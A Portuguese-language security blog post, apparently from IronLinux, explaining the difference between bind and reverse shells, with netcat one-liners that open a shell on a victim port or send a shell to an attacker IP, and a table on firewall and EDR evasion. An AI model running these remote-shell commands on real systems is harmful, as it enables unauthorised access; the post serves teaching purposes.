Diferença entre reverse e bind shell

Diferença entre reverse e bind shell

Neste post, vamos explorar as diferenças entre o reverse shell e o bind shell, seus funcionamentos e casos de uso. Ambos são métodos que permitem a execução de comandos em um sistema remoto, mas funcionam de maneiras distintas.

O que é uma Shell?

Antes de falarmos das diferenças, é importante entender o que é uma shell: é uma interface que permite ao usuário interagir com o sistema operacional através de comandos. Uma shell remota permite que um usuário execute comandos em um sistema que não está fisicamente presente.

Bind Shell

Em uma bind shell, o sistema alvo abre uma porta e fica escutando conexões. Neste contexto, a máquina da vítima torna-se um “servidor” que aguarda conexões. O atacante então se conecta a essa porta para obter acesso à shell do sistema. Em outras palavras, o sistema comprometido “liga” (bind) a shell a uma porta específica e aguarda uma conexão.

Veja abaixo uma representação gráfica de bind shell.

yara rules regra de exemplo

Exemplo de Bind Shell com netcat

Antes de tudo, precisamos configurar o listener na máquina da vítima:

  • Linux
  • Windows
nc -lvnp 8080 -e bash
nc.exe -lvnp 8080 -e cmd

Agora, vamos conectar-se ao host da vítima a partir da máquina atacante. No exemplo abaixo, o IP da vítima é 192.168.100.100:

  • Linux
  • Windows
nc 192.168.100.100 8080 
nc.exe 192.168.100.100 8080

Reverse Shell

Na reverse shell, é o sistema da vítima que inicia a conexão com o atacante. O sistema comprometido abre uma conexão de saída para o sistema do atacante, permitindo que este obtenha acesso à shell. Neste contexto, a máquina do atacante torna-se um “servidor” que aguarda conexões. A máquina da vítima então conecta-se ao servidor, entregando uma shell.

Veja abaixo uma representação gráfica de reverse shell.

yara rules regra de exemplo

Exemplo de reverse shell com netcat

Antes de tudo, precisamos configurar o listener na máquina atacante:

  • Linux
  • Windows
nc -lvnp 8080
nc.exe -lvnp 8080

Agora, vamos conectar-se ao host do atacante a partir da máquina da vítima. No exemplo abaixo, o IP do atacante é 192.168.200.200:

  • Linux
  • Windows
nc 192.168.200.200 8080 -e bash
nc.exe 192.168.200.200 8080 -e cmd

Principais Diferenças

CaracterísticaBind ShellReverse Shell
Iniciação da ConexãoSistema da vítima inicia a escutaSistema da vítima inicia a conexão
Tipo de ConexãoAtacante se conecta a vítimaVítima se conecta ao atacante
FirewallsPode ser bloqueada caso o firewall esteja bem configuradoMenos provável ser bloqueada pois faz conexões de saída
EDRsMais suscetível a ser detectado pois abre uma portaMenos suscetível a ser detecado

Conclusão

Entender as diferenças entre reverse shell e bind shell é fundamental para profissionais de segurança da informação e administradores de sistemas. Ficou claro que a técnica de reverse shell possui mais vantagens em relação ao bind shell, uma vez que o bind shell pode ser mais facilmente detectados e bloqueados por sistemas de defesa.

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Atacando o Kerberos – Kerberoasting

Atacando o Kerberos – Kerberoasting

O kerberoasting é um ataque que visa explorar uma vulnerabilidade no protocolo de autenticação Kerberos, amplamente utilizado em sistemas Windows.

Ler post completo
Scan de vulnerabilidades Wordpress com WPScan

Scan de vulnerabilidades Wordpress com WPScan

WPScan é uma ferramenta gratuita e de código aberto que busca por vulnerabilidades conhecidas e problemas de configuração em sites Wordpress.

Ler post completo
Open Redirect

Open Redirect

Uma vulnerabilidade de Open Redirect ou Redirecionamento Aberto ocorre quando uma aplicação web permite que um usuário controle o redirecionamento ou encaminhamento do site para outra URL de forma arbitrária.

Ler post completo